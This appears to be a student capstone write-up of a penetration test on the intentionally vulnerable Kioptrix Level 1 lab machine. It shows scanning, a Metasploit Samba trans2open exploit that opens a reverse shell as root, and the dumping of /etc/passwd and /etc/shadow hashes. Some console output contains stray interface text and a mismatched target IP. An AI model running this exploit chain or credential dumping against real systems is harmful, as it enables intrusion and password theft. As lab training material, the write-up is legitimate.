

## 1. Capstone VAPT Cycle

First, we have to download the Kkoptrix machine from the following website which is in the below

<https://www.vulnhub.com/entry/kioptix-level-1-1,22/>

Then, setup the machine in to the Vmware Workstation and using the netdiscover to find the IP address of the machine.

Currently scanning: 192.168.0.0/16		Screen View: Unique Hosts		
76 Captured ARP Req/Rep packets, from 10 hosts.		Total size: 4560		
IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.1.6	98:bd:80:9f:b6:45	67	4020	Intel Corporate
192.168.1.1	f0:ed:b8:1f:f5:00	1	60	SERVERCOM (INDIA) PRIVATE LIMITED
192.168.1.12	40:1a:58:da:e6:aa	1	60	Wistron Neweb Corporation
192.168.1.14	00:0c:29:fa:dd:2a	1	60	VMware, Inc.
192.168.1.104	00:0c:29:4f:57:ec	1	60	VMware, Inc.
192.168.1.5	9e:49:63:53:92:13	1	60	Unknown vendor
192.168.1.4	4c:57:39:53:c4:ca	1	60	Samsung Electronics Co.,Ltd
192.168.1.3	96:e4:a5:9c:1b:c1	1	60	Unknown vendor
192.168.1.8	a8:93:4a:c2:5e:39	1	60	CHONGQING FUGUI ELECTRONICS CO.,LTD.
192.168.1.18	a2:44:9b:b4:6e:1e	1	60	Unknown vendor

After, running the netdiscover command, I got some IP address in the above and i used the command enum4linux to find the details about the IP address.

## 1.1 Scanning and Services Detection

later scan the machine using IP address through the Kali Linux, before scanning the machine check weather the machine working or not using ping command

Ping 192.168.1.104

```
Sudo nmap -p- -O -sV 192.168.1.104
```

```
[root@kali]# ping 192.168.1.104
PING 192.168.1.104 (192.168.1.104) 56(84) bytes of data.
64 bytes from 192.168.1.104: icmp_seq=1 ttl=255 time=0.546 ms
64 bytes from 192.168.1.104: icmp_seq=2 ttl=255 time=1.46 ms
64 bytes from 192.168.1.104: icmp_seq=3 ttl=255 time=1.13 ms
^C
--- 192.168.1.104 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2008ms
rtt min/avg/max/mdev = 0.546/1.042/1.457/0.376 ms

[root@kali]# sudo nmap -p- -O -sV 192.168.1.104
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-22 10:48 EST
Nmap scan report for 192.168.1.104
Host is up (0.0013s latency).
Not shown: 65529 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 2.9p2 (protocol 1.99)
80/tcp    open  http         Apache httpd 1.3.20 ((Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b)
111/tcp   open  rpcbind     2 (RPC #10000)
139/tcp   open  netbios-ssn Samba smbd (workgroup: MYGROUP)
443/tcp   open  ssl/https   Apache/1.3.20 (Unix) (Red-Hat/Linux) mod_ssl/2.8.4 OpenSSL/0.9.6b
1024/tcp  open  status      1 (RPC #100024)
MAC Address: 00:0C:29:4F:57:EC (VMware)
Device type: general purpose|media device
Running: Linux 2.4.X, Roku embedded
OS CPE: cpe:/o:linux:linux_kernel:2.4 cpe:/h:roku:soundbridge_m1500
OS details: Linux 2.4.9 - 2.4.18 (likely embedded), Roku HD1500 media player
Network Distance: 1 hop

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.51 seconds
```

## 1.2 OpenVAS

Scan the Kiptoprix machine using OpenVAS to find any type of vulnerabilities.

The screenshot shows the OpenVAS interface with a report titled "Report: Coordinated Universal Time". The report was stopped at 98% completion on Thursday, Jan 22, 2026, at 4:07 PM Coordinated Universal Time. The report details 29 vulnerabilities found across various hosts and ports. Key findings include:

- Deprecated SSH-1 Protocol Detection (Severity: F.5 (High)) on port 22/tcp with a score of 80%.
- Webalizer Cross Site Scripting Vulnerability (Severity: F.5 (High)) on port 443/tcp with a score of 80%.

## 1.3 Exploitation

First, start the msfconsole to do exploitation in the Kali Linux machine and use the exploit called exploit/linux/samba/trans2open.

```

msf exploit(unix irc unreal ircd_3281_backdoor) > search trans2open
          Total: 3
Tasks with most High Results per Host

Matching Modules
=====
# Name
0 exploit/freebsd/samba/trans2open
1 exploit/linux/samba/trans2open
2 exploit/osx/samba/trans2open
3 exploit/solaris/samba/trans2open
4 target: Samba 2.2.x - Solaris 9 (sun4u) - Bruteforce
5 target: Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce

          Disclosure Date Rank Check Description
2003-04-07 great No Samba trans2open Overflow (*BSD x86)
2003-04-07 great No Samba trans2open Overflow (Linux x86)
2003-04-07 great No Samba trans2open Overflow (Mac OS X PPC)
2003-04-07 great No Samba trans2open Overflow (Solaris SPARC)

          N/A
Results per Host

Interact with a module by name or index. For example info 5, use 5 or use exploit/solaris/samba/trans2open
After interacting with a module you can manually set a TARGET with set TARGET 'Samba 2.2.x - Solaris 7/8 (sun4u) - Bruteforce'

Overviews
msf exploit(unix irc unreal ircd_3281_backdoor) > use 1
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp
msf exploit(unix/samba/trans2open) > show options
          Status ↑↓          Reports ↑↓          Last Report ↑↓
Module options (exploit/linux/samba/trans2open):
=====
Name Current Setting Required Description
RHOSTS 192.168.1.139 yes   The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 139 yes   The target port (TCP)

          Configuration (Scanning M/C)
Payload options (linux/x86/meterpreter/reverse_tcp):
=====
Name Current Setting Required Description
LHOST 192.168.1.13 yes   The listen address (an interface may be specified)
LPORT 4444 yes   The listen port

          Administration

```

Then, setup the requirements such as RHOSTS, RPORT and LHOST and also Payload to the exploit and then exploit.

```

msf exploit(unix/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
payload => linux/x86/shell_reverse_tcp
msf exploit(unix/samba/trans2open) > exploit
[*] Started reverse TCP handler on 192.168.1.13:4444
[*] 192.168.1.104:139 - Trying return address 0xbfffffdc ...
[*] 192.168.1.104:139 - Trying return address 0xbfffffcf ...
[*] 192.168.1.104:139 - Trying return address 0xbfffffbf ...
[*] 192.168.1.104:139 - Trying return address 0xbfffffaf ...
[*] 192.168.1.104:139 - Trying return address 0xbfffff9f ...
[*] 192.168.1.104:139 - Trying return address 0xbfffff8f ...
[*] 192.168.1.104:139 - Trying return address 0xbfffff7f ...
[*] 192.168.1.104:139 - Trying return address 0xbfffff6f ...
[*] Command shell session 12 opened (192.168.1.13:4444 → 192.168.1.104:1036) at 2026-01-22 11:16:33 -0500

[*] Command shell session 13 opened (192.168.1.13:4444 → 192.168.1.104:1037) at 2026-01-22 11:16:34 -0500
[*] Command shell session 14 opened (192.168.1.13:4444 → 192.168.1.104:1038) at 2026-01-22 11:16:35 -0500
[*] Command shell session 15 opened (192.168.1.13:4444 → 192.168.1.104:1039) at 2026-01-22 11:16:36 -0500

whoami          Name          Status ↑↓
root

```

## 1.4 Evidence Collection

After exploiting the machine we got the shell access and there is no need to do privilege escalation because it is already in the root.

Get the file details form the machine by using the commands as

Cat /etc/passwd

Cat /etc/shadow

```
Reports
cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
news:x:9:13:news:/var/spool/news:
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
games:x:12:100:games:/usr/games:/sbin/nologin
gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
nobody:x:99:99:Nobody::/sbin/nologin
mailnull:x:47:47::/var/spool/mqueue:/dev/null
rpm:x:37:37::/var/lib/rpm:/bin/bash
xfs:x:43:43:X Font Server:/etc/X11/fs:/bin/false
rpc:x:32:32:Portmapper RPC user::/bin/false
rpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin
nfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin
nscd:x:28:28:NSCD Daemon::/bin/false
ident:x:98:98:pident user::/sbin/nologin
radvd:x:75:75:radvd user::/bin/false
postgres:x:26:26:PostgreSQL Server:/var/lib/pgsql:/bin/bash
apache:x:48:48:Apache:/var/www:/bin/false
squid:x:23:23::/var/spool/squid:/dev/null
pcap:x:77:77::/var/arpwatch:/bin/nologin
john:x:500:500::/home/john:/bin/bash
harold:x:501:501::/home/harold:/bin/bash
```

```
Reports
cat /etc/shadow
root:$1$XROmcfDX$tF93GqnLHOJeGRHpaNyIs0:14513:0:99999:7:::
bin:*:14513:0:99999:7:::
daemon:*:14513:0:99999:7:::
adm:*:14513:0:99999:7:::
lp:*:14513:0:99999:7:::
sync:*:14513:0:99999:7:::
shutdown:*:14513:0:99999:7:::
halt:*:14513:0:99999:7:::
mail:*:14513:0:99999:7:::
news:*:14513:0:99999:7:::
uucp:*:14513:0:99999:7:::
operator:*:14513:0:99999:7:::
games:*:14513:0:99999:7:::
gopher:*:14513:0:99999:7:::
ftp:*:14513:0:99999:7:::          Name ↑
nobody:*:14513:0:99999:7:::
mailnull:!!:14513:0:99999:7:::      kali m/c
rpm:!!:14513:0:99999:7:::          (Scan)
xfs:!!:14513:0:99999:7:::
rpc:!!:14513:0:99999:7:::
rpcuser:!!:14513:0:99999:7:::          Kloptrix
nfsnobody:!!:14513:0:99999:7:::          (Scanning M/C)
nsqd:!!:14513:0:99999:7:::
ident:!!:14513:0:99999:7:::
radvd:!!:14513:0:99999:7:::
postgres:!!:14513:0:99999:7:::          Meta
apache:!!:14513:0:99999:7:::          (Scanning machine)
squid:!!:14513:0:99999:7:::
pcap:!!:14513:0:99999:7:::
john:$1$zL4.MR4t$26N4YpTGceB00gTX6TAKy1:14513:0:99999:7:::
harold:$1$Xx6dZd0d$IMOGACl3r757dv17LZ9010:14513:0:99999:7:::
```

I have downloaded those two files as passwd and shadow to my local machine.

```
[root@kali]~/home/root/downloads]
# ls
passwd shadow

[root@kali]~/home/root/downloads]
# sha256sum passwd
b1dfbf246dc6b1a022acfec46d734f607664de4315add46796706972e3f1b1b9  passwd

[root@kali]~/home/root/downloads]
# sha256sum shadow
e92be21c4005b138d02f44e3aafbbfce619c94427d34fb8f515cb1015bbfada8  shadow
```